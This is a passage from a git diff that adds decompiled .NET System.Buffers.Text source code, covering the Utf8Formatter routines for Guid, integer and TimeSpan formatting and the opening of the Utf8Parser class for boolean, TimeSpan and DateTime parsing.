CultureInfo.InvariantCulture); + int length = text2.Length; + if (length > destination.Length) + { + bytesWritten = 0; + return false; + } + for (int i = 0; i < length; i++) + { + destination[i] = (byte)text2[i]; + } + bytesWritten = length; + return true; + } + + public static bool TryFormat(Guid value, Span destination, out int bytesWritten, StandardFormat format = default(StandardFormat)) + { + int num; + switch (System.Buffers.Text.FormattingHelpers.GetSymbolOrDefault(in format, 'D')) + { + case 'D': + num = -2147483612; + break; + case 'B': + num = -2139260122; + break; + case 'P': + num = -2144786394; + break; + case 'N': + num = 32; + break; + default: + return System.ThrowHelper.TryFormatThrowFormatException(out bytesWritten); + } + if ((byte)num > destination.Length) + { + bytesWritten = 0; + return false; + } + bytesWritten = (byte)num; + num >>= 8; + if ((byte)num != 0) + { + destination[0] = (byte)num; + destination = destination.Slice(1); + } + num >>= 8; + DecomposedGuid decomposedGuid = new DecomposedGuid + { + Guid = value + }; + byte b = destination[8]; + System.Buffers.Text.FormattingHelpers.WriteHexByte(decomposedGuid.Byte03, destination, 0, System.Buffers.Text.FormattingHelpers.HexCasing.Lowercase); + System.Buffers.Text.FormattingHelpers.WriteHexByte(decomposedGuid.Byte02, destination, 2, System.Buffers.Text.FormattingHelpers.HexCasing.Lowercase); + System.Buffers.Text.FormattingHelpers.WriteHexByte(decomposedGuid.Byte01, destination, 4, System.Buffers.Text.FormattingHelpers.HexCasing.Lowercase); + System.Buffers.Text.FormattingHelpers.WriteHexByte(decomposedGuid.Byte00, destination, 6, System.Buffers.Text.FormattingHelpers.HexCasing.Lowercase); + if (num < 0) + { + destination[8] = 45; + destination = destination.Slice(9); + } + else + { + destination = destination.Slice(8); + } + byte b2 = destination[4]; + System.Buffers.Text.FormattingHelpers.WriteHexByte(decomposedGuid.Byte05, destination, 0, System.Buffers.Text.FormattingHelpers.HexCasing.Lowercase); + System.Buffers.Text.FormattingHelpers.WriteHexByte(decomposedGuid.Byte04, destination, 2, System.Buffers.Text.FormattingHelpers.HexCasing.Lowercase); + if (num < 0) + { + destination[4] = 45; + destination = destination.Slice(5); + } + else + { + destination = destination.Slice(4); + } + byte b3 = destination[4]; + System.Buffers.Text.FormattingHelpers.WriteHexByte(decomposedGuid.Byte07, destination, 0, System.Buffers.Text.FormattingHelpers.HexCasing.Lowercase); + System.Buffers.Text.FormattingHelpers.WriteHexByte(decomposedGuid.Byte06, destination, 2, System.Buffers.Text.FormattingHelpers.HexCasing.Lowercase); + if (num < 0) + { + destination[4] = 45; + destination = destination.Slice(5); + } + else + { + destination = destination.Slice(4); + } + byte b4 = destination[4]; + System.Buffers.Text.FormattingHelpers.WriteHexByte(decomposedGuid.Byte08, destination, 0, System.Buffers.Text.FormattingHelpers.HexCasing.Lowercase); + System.Buffers.Text.FormattingHelpers.WriteHexByte(decomposedGuid.Byte09, destination, 2, System.Buffers.Text.FormattingHelpers.HexCasing.Lowercase); + if (num < 0) + { + destination[4] = 45; + destination = destination.Slice(5); + } + else + { + destination = destination.Slice(4); + } + byte b5 = destination[11]; + System.Buffers.Text.FormattingHelpers.WriteHexByte(decomposedGuid.Byte10, destination, 0, System.Buffers.Text.FormattingHelpers.HexCasing.Lowercase); + System.Buffers.Text.FormattingHelpers.WriteHexByte(decomposedGuid.Byte11, destination, 2, System.Buffers.Text.FormattingHelpers.HexCasing.Lowercase); + System.Buffers.Text.FormattingHelpers.WriteHexByte(decomposedGuid.Byte12, destination, 4, System.Buffers.Text.FormattingHelpers.HexCasing.Lowercase); + System.Buffers.Text.FormattingHelpers.WriteHexByte(decomposedGuid.Byte13, destination, 6, System.Buffers.Text.FormattingHelpers.HexCasing.Lowercase); + System.Buffers.Text.FormattingHelpers.WriteHexByte(decomposedGuid.Byte14, destination, 8, System.Buffers.Text.FormattingHelpers.HexCasing.Lowercase); + System.Buffers.Text.FormattingHelpers.WriteHexByte(decomposedGuid.Byte15, destination, 10, System.Buffers.Text.FormattingHelpers.HexCasing.Lowercase); + if ((byte)num != 0) + { + destination[12] = (byte)num; + } + return true; + } + + public static bool TryFormat(byte value, Span destination, out int bytesWritten, StandardFormat format = default(StandardFormat)) + { + return TryFormatUInt64(value, destination, out bytesWritten, format); + } + + [CLSCompliant(false)] + public static bool TryFormat(sbyte value, Span destination, out int bytesWritten, StandardFormat format = default(StandardFormat)) + { + return TryFormatInt64(value, 255uL, destination, out bytesWritten, format); + } + + [CLSCompliant(false)] + public static bool TryFormat(ushort value, Span destination, out int bytesWritten, StandardFormat format = default(StandardFormat)) + { + return TryFormatUInt64(value, destination, out bytesWritten, format); + } + + public static bool TryFormat(short value, Span destination, out int bytesWritten, StandardFormat format = default(StandardFormat)) + { + return TryFormatInt64(value, 65535uL, destination, out bytesWritten, format); + } + + [CLSCompliant(false)] + public static bool TryFormat(uint value, Span destination, out int bytesWritten, StandardFormat format = default(StandardFormat)) + { + return TryFormatUInt64(value, destination, out bytesWritten, format); + } + + public static bool TryFormat(int value, Span destination, out int bytesWritten, StandardFormat format = default(StandardFormat)) + { + return TryFormatInt64(value, 4294967295uL, destination, out bytesWritten, format); + } + + [CLSCompliant(false)] + public static bool TryFormat(ulong value, Span destination, out int bytesWritten, StandardFormat format = default(StandardFormat)) + { + return TryFormatUInt64(value, destination, out bytesWritten, format); + } + + public static bool TryFormat(long value, Span destination, out int bytesWritten, StandardFormat format = default(StandardFormat)) + { + return TryFormatInt64(value, ulong.MaxValue, destination, out bytesWritten, format); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool TryFormatInt64(long value, ulong mask, Span destination, out int bytesWritten, StandardFormat format) + { + if (format.IsDefault) + { + return TryFormatInt64Default(value, destination, out bytesWritten); + } + switch (format.Symbol) + { + case 'G': + case 'g': + if (format.HasPrecision) + { + throw new NotSupportedException(System.SR.Argument_GWithPrecisionNotSupported); + } + return TryFormatInt64D(value, format.Precision, destination, out bytesWritten); + case 'D': + case 'd': + return TryFormatInt64D(value, format.Precision, destination, out bytesWritten); + case 'N': + case 'n': + return TryFormatInt64N(value, format.Precision, destination, out bytesWritten); + case 'x': + return TryFormatUInt64X((ulong)value & mask, format.Precision, useLower: true, destination, out bytesWritten); + case 'X': + return TryFormatUInt64X((ulong)value & mask, format.Precision, useLower: false, destination, out bytesWritten); + default: + return System.ThrowHelper.TryFormatThrowFormatException(out bytesWritten); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool TryFormatInt64D(long value, byte precision, Span destination, out int bytesWritten) + { + bool insertNegationSign = false; + if (value < 0) + { + insertNegationSign = true; + value = -value; + } + return TryFormatUInt64D((ulong)value, precision, destination, insertNegationSign, out bytesWritten); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool TryFormatInt64Default(long value, Span destination, out int bytesWritten) + { + if ((ulong)value < 10uL) + { + return TryFormatUInt32SingleDigit((uint)value, destination, out bytesWritten); + } + if (IntPtr.Size == 8) + { + return TryFormatInt64MultipleDigits(value, destination, out bytesWritten); + } + if (value <= int.MaxValue && value >= int.MinValue) + { + return TryFormatInt32MultipleDigits((int)value, destination, out bytesWritten); + } + if (value <= 4294967295000000000L && value >= -4294967295000000000L) + { + if (value >= 0) + { + return TryFormatUInt64LessThanBillionMaxUInt((ulong)value, destination, out bytesWritten); + } + return TryFormatInt64MoreThanNegativeBillionMaxUInt(-value, destination, out bytesWritten); + } + if (value >= 0) + { + return TryFormatUInt64MoreThanBillionMaxUInt((ulong)value, destination, out bytesWritten); + } + return TryFormatInt64LessThanNegativeBillionMaxUInt(-value, destination, out bytesWritten); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool TryFormatInt32Default(int value, Span destination, out int bytesWritten) + { + if ((uint)value < 10u) + { + return TryFormatUInt32SingleDigit((uint)value, destination, out bytesWritten); + } + return TryFormatInt32MultipleDigits(value, destination, out bytesWritten); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool TryFormatInt32MultipleDigits(int value, Span destination, out int bytesWritten) + { + if (value < 0) + { + value = -value; + int num = System.Buffers.Text.FormattingHelpers.CountDigits((uint)value); + if (num >= destination.Length) + { + bytesWritten = 0; + return false; + } + destination[0] = 45; + bytesWritten = num + 1; + System.Buffers.Text.FormattingHelpers.WriteDigits((uint)value, destination.Slice(1, num)); + return true; + } + return TryFormatUInt32MultipleDigits((uint)value, destination, out bytesWritten); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool TryFormatInt64MultipleDigits(long value, Span destination, out int bytesWritten) + { + if (value < 0) + { + value = -value; + int num = System.Buffers.Text.FormattingHelpers.CountDigits((ulong)value); + if (num >= destination.Length) + { + bytesWritten = 0; + return false; + } + destination[0] = 45; + bytesWritten = num + 1; + System.Buffers.Text.FormattingHelpers.WriteDigits((ulong)value, destination.Slice(1, num)); + return true; + } + return TryFormatUInt64MultipleDigits((ulong)value, destination, out bytesWritten); + } + + private static bool TryFormatInt64MoreThanNegativeBillionMaxUInt(long value, Span destination, out int bytesWritten) + { + uint num = (uint)(value / 1000000000); + uint value2 = (uint)(value - num * 1000000000); + int num2 = System.Buffers.Text.FormattingHelpers.CountDigits(num); + int num3 = num2 + 9; + if (num3 >= destination.Length) + { + bytesWritten = 0; + return false; + } + destination[0] = 45; + bytesWritten = num3 + 1; + System.Buffers.Text.FormattingHelpers.WriteDigits(num, destination.Slice(1, num2)); + System.Buffers.Text.FormattingHelpers.WriteDigits(value2, destination.Slice(num2 + 1, 9)); + return true; + } + + private static bool TryFormatInt64LessThanNegativeBillionMaxUInt(long value, Span destination, out int bytesWritten) + { + ulong num = (ulong)value / 1000000000uL; + uint value2 = (uint)((ulong)value - num * 1000000000); + uint num2 = (uint)(num / 1000000000); + uint value3 = (uint)(num - num2 * 1000000000); + int num3 = System.Buffers.Text.FormattingHelpers.CountDigits(num2); + int num4 = num3 + 18; + if (num4 >= destination.Length) + { + bytesWritten = 0; + return false; + } + destination[0] = 45; + bytesWritten = num4 + 1; + System.Buffers.Text.FormattingHelpers.WriteDigits(num2, destination.Slice(1, num3)); + System.Buffers.Text.FormattingHelpers.WriteDigits(value3, destination.Slice(num3 + 1, 9)); + System.Buffers.Text.FormattingHelpers.WriteDigits(value2, destination.Slice(num3 + 1 + 9, 9)); + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool TryFormatInt64N(long value, byte precision, Span destination, out int bytesWritten) + { + bool insertNegationSign = false; + if (value < 0) + { + insertNegationSign = true; + value = -value; + } + return TryFormatUInt64N((ulong)value, precision, destination, insertNegationSign, out bytesWritten); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool TryFormatUInt64(ulong value, Span destination, out int bytesWritten, StandardFormat format) + { + if (format.IsDefault) + { + return TryFormatUInt64Default(value, destination, out bytesWritten); + } + switch (format.Symbol) + { + case 'G': + case 'g': + if (format.HasPrecision) + { + throw new NotSupportedException(System.SR.Argument_GWithPrecisionNotSupported); + } + return TryFormatUInt64D(value, format.Precision, destination, insertNegationSign: false, out bytesWritten); + case 'D': + case 'd': + return TryFormatUInt64D(value, format.Precision, destination, insertNegationSign: false, out bytesWritten); + case 'N': + case 'n': + return TryFormatUInt64N(value, format.Precision, destination, insertNegationSign: false, out bytesWritten); + case 'x': + return TryFormatUInt64X(value, format.Precision, useLower: true, destination, out bytesWritten); + case 'X': + return TryFormatUInt64X(value, format.Precision, useLower: false, destination, out bytesWritten); + default: + return System.ThrowHelper.TryFormatThrowFormatException(out bytesWritten); + } + } + + private static bool TryFormatUInt64D(ulong value, byte precision, Span destination, bool insertNegationSign, out int bytesWritten) + { + int num = System.Buffers.Text.FormattingHelpers.CountDigits(value); + int num2 = ((precision != byte.MaxValue) ? precision : 0) - num; + if (num2 < 0) + { + num2 = 0; + } + int num3 = num + num2; + if (insertNegationSign) + { + num3++; + } + if (num3 > destination.Length) + { + bytesWritten = 0; + return false; + } + bytesWritten = num3; + if (insertNegationSign) + { + destination[0] = 45; + destination = destination.Slice(1); + } + if (num2 > 0) + { + System.Buffers.Text.FormattingHelpers.FillWithAsciiZeros(destination.Slice(0, num2)); + } + System.Buffers.Text.FormattingHelpers.WriteDigits(value, destination.Slice(num2, num)); + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool TryFormatUInt64Default(ulong value, Span destination, out int bytesWritten) + { + if (value < 10) + { + return TryFormatUInt32SingleDigit((uint)value, destination, out bytesWritten); + } + if (IntPtr.Size == 8) + { + return TryFormatUInt64MultipleDigits(value, destination, out bytesWritten); + } + if (value <= uint.MaxValue) + { + return TryFormatUInt32MultipleDigits((uint)value, destination, out bytesWritten); + } + if (value <= 4294967295000000000L) + { + return TryFormatUInt64LessThanBillionMaxUInt(value, destination, out bytesWritten); + } + return TryFormatUInt64MoreThanBillionMaxUInt(value, destination, out bytesWritten); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool TryFormatUInt32Default(uint value, Span destination, out int bytesWritten) + { + if (value < 10) + { + return TryFormatUInt32SingleDigit(value, destination, out bytesWritten); + } + return TryFormatUInt32MultipleDigits(value, destination, out bytesWritten); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool TryFormatUInt32SingleDigit(uint value, Span destination, out int bytesWritten) + { + if (destination.Length == 0) + { + bytesWritten = 0; + return false; + } + destination[0] = (byte)(48 + value); + bytesWritten = 1; + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool TryFormatUInt32MultipleDigits(uint value, Span destination, out int bytesWritten) + { + int num = System.Buffers.Text.FormattingHelpers.CountDigits(value); + if (num > destination.Length) + { + bytesWritten = 0; + return false; + } + bytesWritten = num; + System.Buffers.Text.FormattingHelpers.WriteDigits(value, destination.Slice(0, num)); + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool TryFormatUInt64SingleDigit(ulong value, Span destination, out int bytesWritten) + { + if (destination.Length == 0) + { + bytesWritten = 0; + return false; + } + destination[0] = (byte)(48 + value); + bytesWritten = 1; + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool TryFormatUInt64MultipleDigits(ulong value, Span destination, out int bytesWritten) + { + int num = System.Buffers.Text.FormattingHelpers.CountDigits(value); + if (num > destination.Length) + { + bytesWritten = 0; + return false; + } + bytesWritten = num; + System.Buffers.Text.FormattingHelpers.WriteDigits(value, destination.Slice(0, num)); + return true; + } + + private static bool TryFormatUInt64LessThanBillionMaxUInt(ulong value, Span destination, out int bytesWritten) + { + uint num = (uint)(value / 1000000000); + uint value2 = (uint)(value - num * 1000000000); + int num2 = System.Buffers.Text.FormattingHelpers.CountDigits(num); + int num3 = num2 + 9; + if (num3 > destination.Length) + { + bytesWritten = 0; + return false; + } + bytesWritten = num3; + System.Buffers.Text.FormattingHelpers.WriteDigits(num, destination.Slice(0, num2)); + System.Buffers.Text.FormattingHelpers.WriteDigits(value2, destination.Slice(num2, 9)); + return true; + } + + private static bool TryFormatUInt64MoreThanBillionMaxUInt(ulong value, Span destination, out int bytesWritten) + { + ulong num = value / 1000000000; + uint value2 = (uint)(value - num * 1000000000); + uint num2 = (uint)(num / 1000000000); + uint value3 = (uint)(num - num2 * 1000000000); + int num3 = System.Buffers.Text.FormattingHelpers.CountDigits(num2); + int num4 = num3 + 18; + if (num4 > destination.Length) + { + bytesWritten = 0; + return false; + } + bytesWritten = num4; + System.Buffers.Text.FormattingHelpers.WriteDigits(num2, destination.Slice(0, num3)); + System.Buffers.Text.FormattingHelpers.WriteDigits(value3, destination.Slice(num3, 9)); + System.Buffers.Text.FormattingHelpers.WriteDigits(value2, destination.Slice(num3 + 9, 9)); + return true; + } + + private static bool TryFormatUInt64N(ulong value, byte precision, Span destination, bool insertNegationSign, out int bytesWritten) + { + int num = System.Buffers.Text.FormattingHelpers.CountDigits(value); + int num2 = (num - 1) / 3; + int num3 = ((precision == byte.MaxValue) ? 2 : precision); + int num4 = num + num2; + if (num3 > 0) + { + num4 += num3 + 1; + } + if (insertNegationSign) + { + num4++; + } + if (num4 > destination.Length) + { + bytesWritten = 0; + return false; + } + bytesWritten = num4; + if (insertNegationSign) + { + destination[0] = 45; + destination = destination.Slice(1); + } + System.Buffers.Text.FormattingHelpers.WriteDigitsWithGroupSeparator(value, destination.Slice(0, num + num2)); + if (num3 > 0) + { + destination[num + num2] = 46; + System.Buffers.Text.FormattingHelpers.FillWithAsciiZeros(destination.Slice(num + num2 + 1, num3)); + } + return true; + } + + private static bool TryFormatUInt64X(ulong value, byte precision, bool useLower, Span destination, out int bytesWritten) + { + int num = System.Buffers.Text.FormattingHelpers.CountHexDigits(value); + int num2 = ((precision == byte.MaxValue) ? num : Math.Max(precision, num)); + if (destination.Length < num2) + { + bytesWritten = 0; + return false; + } + bytesWritten = num2; + string text = (useLower ? "0123456789abcdef" : "0123456789ABCDEF"); + while ((uint)(--num2) < (uint)destination.Length) + { + destination[num2] = (byte)text[(int)value & 0xF]; + value >>= 4; + } + return true; + } + + public static bool TryFormat(TimeSpan value, Span destination, out int bytesWritten, StandardFormat format = default(StandardFormat)) + { + char c = System.Buffers.Text.FormattingHelpers.GetSymbolOrDefault(in format, 'c'); + switch (c) + { + case 'T': + case 't': + c = 'c'; + break; + default: + return System.ThrowHelper.TryFormatThrowFormatException(out bytesWritten); + case 'G': + case 'c': + case 'g': + break; + } + int num = 8; + long ticks = value.Ticks; + uint valueWithoutTrailingZeros; + ulong num2; + if (ticks < 0) + { + ticks = -ticks; + if (ticks < 0) + { + valueWithoutTrailingZeros = 4775808u; + num2 = 922337203685uL; + goto IL_0082; + } + } + num2 = System.Buffers.Text.FormattingHelpers.DivMod((ulong)Math.Abs(value.Ticks), 10000000uL, out var modulo); + valueWithoutTrailingZeros = (uint)modulo; + goto IL_0082; + IL_0082: + int num3 = 0; + switch (c) + { + case 'c': + if (valueWithoutTrailingZeros != 0) + { + num3 = 7; + } + break; + case 'G': + num3 = 7; + break; + default: + if (valueWithoutTrailingZeros != 0) + { + num3 = 7 - System.Buffers.Text.FormattingHelpers.CountDecimalTrailingZeros(valueWithoutTrailingZeros, out valueWithoutTrailingZeros); + } + break; + } + if (num3 != 0) + { + num += num3 + 1; + } + ulong num4 = 0uL; + ulong modulo2 = 0uL; + if (num2 != 0) + { + num4 = System.Buffers.Text.FormattingHelpers.DivMod(num2, 60uL, out modulo2); + } + ulong num5 = 0uL; + ulong modulo3 = 0uL; + if (num4 != 0) + { + num5 = System.Buffers.Text.FormattingHelpers.DivMod(num4, 60uL, out modulo3); + } + uint num6 = 0u; + uint modulo4 = 0u; + if (num5 != 0) + { + num6 = System.Buffers.Text.FormattingHelpers.DivMod((uint)num5, 24u, out modulo4); + } + int num7 = 2; + if (modulo4 < 10 && c == 'g') + { + num7--; + num--; + } + int num8 = 0; + if (num6 == 0) + { + if (c == 'G') + { + num += 2; + num8 = 1; + } + } + else + { + num8 = System.Buffers.Text.FormattingHelpers.CountDigits(num6); + num += num8 + 1; + } + if (value.Ticks < 0) + { + num++; + } + if (destination.Length < num) + { + bytesWritten = 0; + return false; + } + bytesWritten = num; + int num9 = 0; + if (value.Ticks < 0) + { + destination[num9++] = 45; + } + if (num8 > 0) + { + System.Buffers.Text.FormattingHelpers.WriteDigits(num6, destination.Slice(num9, num8)); + num9 += num8; + destination[num9++] = (byte)((c == 'c') ? 46 : 58); + } + System.Buffers.Text.FormattingHelpers.WriteDigits(modulo4, destination.Slice(num9, num7)); + num9 += num7; + destination[num9++] = 58; + System.Buffers.Text.FormattingHelpers.WriteDigits((uint)modulo3, destination.Slice(num9, 2)); + num9 += 2; + destination[num9++] = 58; + System.Buffers.Text.FormattingHelpers.WriteDigits((uint)modulo2, destination.Slice(num9, 2)); + num9 += 2; + if (num3 > 0) + { + destination[num9++] = 46; + System.Buffers.Text.FormattingHelpers.WriteDigits(valueWithoutTrailingZeros, destination.Slice(num9, num3)); + num9 += num3; + } + return true; + } +} diff --git a/decompiled/Libraries/system.memory/System.Buffers.Text/Utf8Parser.cs b/decompiled/Libraries/system.memory/System.Buffers.Text/Utf8Parser.cs new file mode 100644 index 0000000..a2d7430 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers.Text/Utf8Parser.cs @@ -0,0 +1,3909 @@ +using System.Runtime.CompilerServices; + +namespace System.Buffers.Text; + +public static class Utf8Parser +{ + [Flags] + private enum ParseNumberOptions + { + AllowExponent = 1 + } + + private enum ComponentParseResult : byte + { + NoMoreData, + Colon, + Period, + ParseFailure + } + + private struct TimeSpanSplitter + { + public uint V1; + + public uint V2; + + public uint V3; + + public uint V4; + + public uint V5; + + public bool IsNegative; + + public uint Separators; + + public bool TrySplitTimeSpan(ReadOnlySpan source, bool periodUsedToSeparateDay, out int bytesConsumed) + { + int i = 0; + byte b = 0; + for (; i != source.Length; i++) + { + b = source[i]; + if (b != 32 && b != 9) + { + break; + } + } + if (i == source.Length) + { + bytesConsumed = 0; + return false; + } + if (b == 45) + { + IsNegative = true; + i++; + if (i == source.Length) + { + bytesConsumed = 0; + return false; + } + } + if (!TryParseUInt32D(source.Slice(i), out V1, out var bytesConsumed2)) + { + bytesConsumed = 0; + return false; + } + i += bytesConsumed2; + ComponentParseResult componentParseResult = ParseComponent(source, periodUsedToSeparateDay, ref i, out V2); + switch (componentParseResult) + { + case ComponentParseResult.ParseFailure: + bytesConsumed = 0; + return false; + case ComponentParseResult.NoMoreData: + bytesConsumed = i; + return true; + default: + Separators |= (uint)componentParseResult << 24; + componentParseResult = ParseComponent(source, neverParseAsFraction: false, ref i, out V3); + switch (componentParseResult) + { + case ComponentParseResult.ParseFailure: + bytesConsumed = 0; + return false; + case ComponentParseResult.NoMoreData: + bytesConsumed = i; + return true; + default: + Separators |= (uint)componentParseResult << 16; + componentParseResult = ParseComponent(source, neverParseAsFraction: false, ref i, out V4); + switch (componentParseResult) + { + case ComponentParseResult.ParseFailure: + bytesConsumed = 0; + return false; + case ComponentParseResult.NoMoreData: + bytesConsumed = i; + return true; + default: + Separators |= (uint)componentParseResult << 8; + componentParseResult = ParseComponent(source, neverParseAsFraction: false, ref i, out V5); + switch (componentParseResult) + { + case ComponentParseResult.ParseFailure: + bytesConsumed = 0; + return false; + case ComponentParseResult.NoMoreData: + bytesConsumed = i; + return true; + default: + Separators |= (uint)componentParseResult; + if (i != source.Length && (source[i] == 46 || source[i] == 58)) + { + bytesConsumed = 0; + return false; + } + bytesConsumed = i; + return true; + } + } + } + } + } + + private static ComponentParseResult ParseComponent(ReadOnlySpan source, bool neverParseAsFraction, ref int srcIndex, out uint value) + { + if (srcIndex == source.Length) + { + value = 0u; + return ComponentParseResult.NoMoreData; + } + byte b = source[srcIndex]; + if (b == 58 || (b == 46 && neverParseAsFraction)) + { + srcIndex++; + if (!TryParseUInt32D(source.Slice(srcIndex), out value, out var bytesConsumed)) + { + value = 0u; + return ComponentParseResult.ParseFailure; + } + srcIndex += bytesConsumed; + if (b != 58) + { + return ComponentParseResult.Period; + } + return ComponentParseResult.Colon; + } + if (b == 46) + { + srcIndex++; + if (!TryParseTimeSpanFraction(source.Slice(srcIndex), out value, out var bytesConsumed2)) + { + value = 0u; + return ComponentParseResult.ParseFailure; + } + srcIndex += bytesConsumed2; + return ComponentParseResult.Period; + } + value = 0u; + return ComponentParseResult.NoMoreData; + } + } + + private const uint FlipCase = 32u; + + private const uint NoFlipCase = 0u; + + private static readonly int[] s_daysToMonth365 = new int[13] + { + 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, + 304, 334, 365 + }; + + private static readonly int[] s_daysToMonth366 = new int[13] + { + 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, + 305, 335, 366 + }; + + public static bool TryParse(ReadOnlySpan source, out bool value, out int bytesConsumed, char standardFormat = '\0') + { + if (standardFormat != 0 && standardFormat != 'G' && standardFormat != 'l') + { + return System.ThrowHelper.TryParseThrowFormatException(out value, out bytesConsumed); + } + if (source.Length >= 4) + { + if ((source[0] == 84 || source[0] == 116) && (source[1] == 82 || source[1] == 114) && (source[2] == 85 || source[2] == 117) && (source[3] == 69 || source[3] == 101)) + { + bytesConsumed = 4; + value = true; + return true; + } + if (source.Length >= 5 && (source[0] == 70 || source[0] == 102) && (source[1] == 65 || source[1] == 97) && (source[2] == 76 || source[2] == 108) && (source[3] == 83 || source[3] == 115) && (source[4] == 69 || source[4] == 101)) + { + bytesConsumed = 5; + value = false; + return true; + } + } + bytesConsumed = 0; + value = false; + return false; + } + + public static bool TryParse(ReadOnlySpan source, out DateTime value, out int bytesConsumed, char standardFormat = '\0') + { + switch (standardFormat) + { + case 'R': + { + if (!TryParseDateTimeOffsetR(source, 0u, out var dateTimeOffset, out bytesConsumed)) + { + value = default(DateTime); + return false; + } + value = dateTimeOffset.DateTime; + return true; + } + case 'l': + { + if (!TryParseDateTimeOffsetR(source, 32u, out var dateTimeOffset2, out bytesConsumed)) + { + value = default(DateTime); + return false; + } + value = dateTimeOffset2.DateTime; + return true; + } + case 'O': + { + if (!TryParseDateTimeOffsetO(source, out var value2, out bytesConsumed, out var kind)) + { + value = default(DateTime); + bytesConsumed = 0; + return false; + } + switch (kind) + { + case DateTimeKind.Local: + value = value2.LocalDateTime; + break; + case DateTimeKind.Utc: + value = value2.UtcDateTime; + break; + default: + value = value2.DateTime; + break; + } + return true; + } + case '\0': + case 'G': + { + DateTimeOffset valueAsOffset; + return TryParseDateTimeG(source, out value, out valueAsOffset, out bytesConsumed); + } + default: + return System.ThrowHelper.TryParseThrowFormatException(out value, out bytesConsumed); + } + } + + public static bool TryParse(ReadOnlySpan source, out DateTimeOffset value, out int bytesConsumed, char standardFormat = '\0') + { + DateTimeKind kind; + DateTime value2; + return standardFormat switch + { + 'R' => TryParseDateTimeOffsetR(source, 0u, out value, out bytesConsumed), + 'l' => TryParseDateTimeOffsetR(source, 32u, out value, out bytesConsumed), + 'O' => TryParseDateTimeOffsetO(source, out value, out bytesConsumed, out kind), + '\0' => TryParseDateTimeOffsetDefault(source, out value, out bytesConsumed), + 'G' => TryParseDateTimeG(source, out value2, out value, out bytesConsumed), + _ => System.ThrowHelper.TryParseThrowFormatException(out value, out bytesConsumed), + }; + } + + private static bool TryParseDateTimeOffsetDefault(ReadOnlySpan source, out DateTimeOffset value, out int bytesConsumed) + { + if (source.Length < 26) + { + bytesConsumed = 0; + value = default(DateTimeOffset); + return false; + } + if (!TryParseDateTimeG(source, out var value2, out var _, out var _)) + { + bytesConsumed = 0; + value = default(DateTimeOffset); + return false; + } + if (source[19] != 32) + { + bytesConsumed = 0; + value = default(DateTimeOffset); + return false; + } + byte b = source[20]; + if (b != 43 && b != 45) + { + bytesConsumed = 0; + value = default(DateTimeOffset); + return false; + } + uint num = (uint)(source[21] - 48); + uint num2 = (uint)(source[22] - 48); + if (num > 9 || num2 > 9) + { + bytesConsumed = 0; + value = default(DateTimeOffset); + return false; + } + int num3 = (int)(num * 10 + num2); + if (source[23] != 58) + { + bytesConsumed = 0; + value = default(DateTimeOffset); + return false; + } + uint num4 = (uint)(source[24] - 48); + uint num5 = (uint)(source[25] - 48); + if (num4 > 9 || num5 > 9) + { + bytesConsumed = 0; + value = default(DateTimeOffset); + return false; + } + int num6 = (int)(num4 * 10 + num5); + TimeSpan timeSpan = new TimeSpan(num3, num6, 0); + if (b == 45) + { + timeSpan = -timeSpan; + } + if (!TryCreateDateTimeOffset(value2, b == 45, num3, num6, out value)) + { + bytesConsumed = 0; + value = default(DateTimeOffset); + return false; + } + bytesConsumed = 26; + return true; + } + + private static bool TryParseDateTimeG(ReadOnlySpan source, out DateTime value, out DateTimeOffset valueAsOffset, out int bytesConsumed) + { + if (source.Length < 19) + { + bytesConsumed = 0; + value = default(DateTime); + valueAsOffset = default(DateTimeOffset); + return false; + } + uint num = (uint)(source[0] - 48); + uint num2 = (uint)(source[1] - 48); + if (num > 9 || num2 > 9) + { + bytesConsumed = 0; + value = default(DateTime); + valueAsOffset = default(DateTimeOffset); + return false; + } + int month = (int)(num * 10 + num2); + if (source[2] != 47) + { + bytesConsumed = 0; + value = default(DateTime); + valueAsOffset = default(DateTimeOffset); + return false; + } + uint num3 = (uint)(source[3] - 48); + uint num4 = (uint)(source[4] - 48); + if (num3 > 9 || num4 > 9) + { + bytesConsumed = 0; + value = default(DateTime); + valueAsOffset = default(DateTimeOffset); + return false; + } + int day = (int)(num3 * 10 + num4); + if (source[5] != 47) + { + bytesConsumed = 0; + value = default(DateTime); + valueAsOffset = default(DateTimeOffset); + return false; + } + uint num5 = (uint)(source[6] - 48); + uint num6 = (uint)(source[7] - 48); + uint num7 = (uint)(source[8] - 48); + uint num8 = (uint)(source[9] - 48); + if (num5 > 9 || num6 > 9 || num7 > 9 || num8 > 9) + { + bytesConsumed = 0; + value = default(DateTime); + valueAsOffset = default(DateTimeOffset); + return false; + } + int year = (int)(num5 * 1000 + num6 * 100 + num7 * 10 + num8); + if (source[10] != 32) + { + bytesConsumed = 0; + value = default(DateTime); + valueAsOffset = default(DateTimeOffset); + return false; + } + uint num9 = (uint)(source[11] - 48); + uint num10 = (uint)(source[12] - 48); + if (num9 > 9 || num10 > 9) + { + bytesConsumed = 0; + value = default(DateTime); + valueAsOffset = default(DateTimeOffset); + return false; + } + int hour = (int)(num9 * 10 + num10); + if (source[13] != 58) + { + bytesConsumed = 0; + value = default(DateTime); + valueAsOffset = default(DateTimeOffset); + return false; + } + uint num11 = (uint)(source[14] - 48); + uint num12 = (uint)(source[15] - 48); + if (num11 > 9 || num12 > 9) + { + bytesConsumed = 0; + value = default(DateTime); + valueAsOffset = default(DateTimeOffset); + return false; + } + int minute = (int)(num11 * 10 + num12); + if (source[16] != 58) + { + bytesConsumed = 0; + value = default(DateTime); + valueAsOffset = default(DateTimeOffset); + return false; + } + uint num13 = 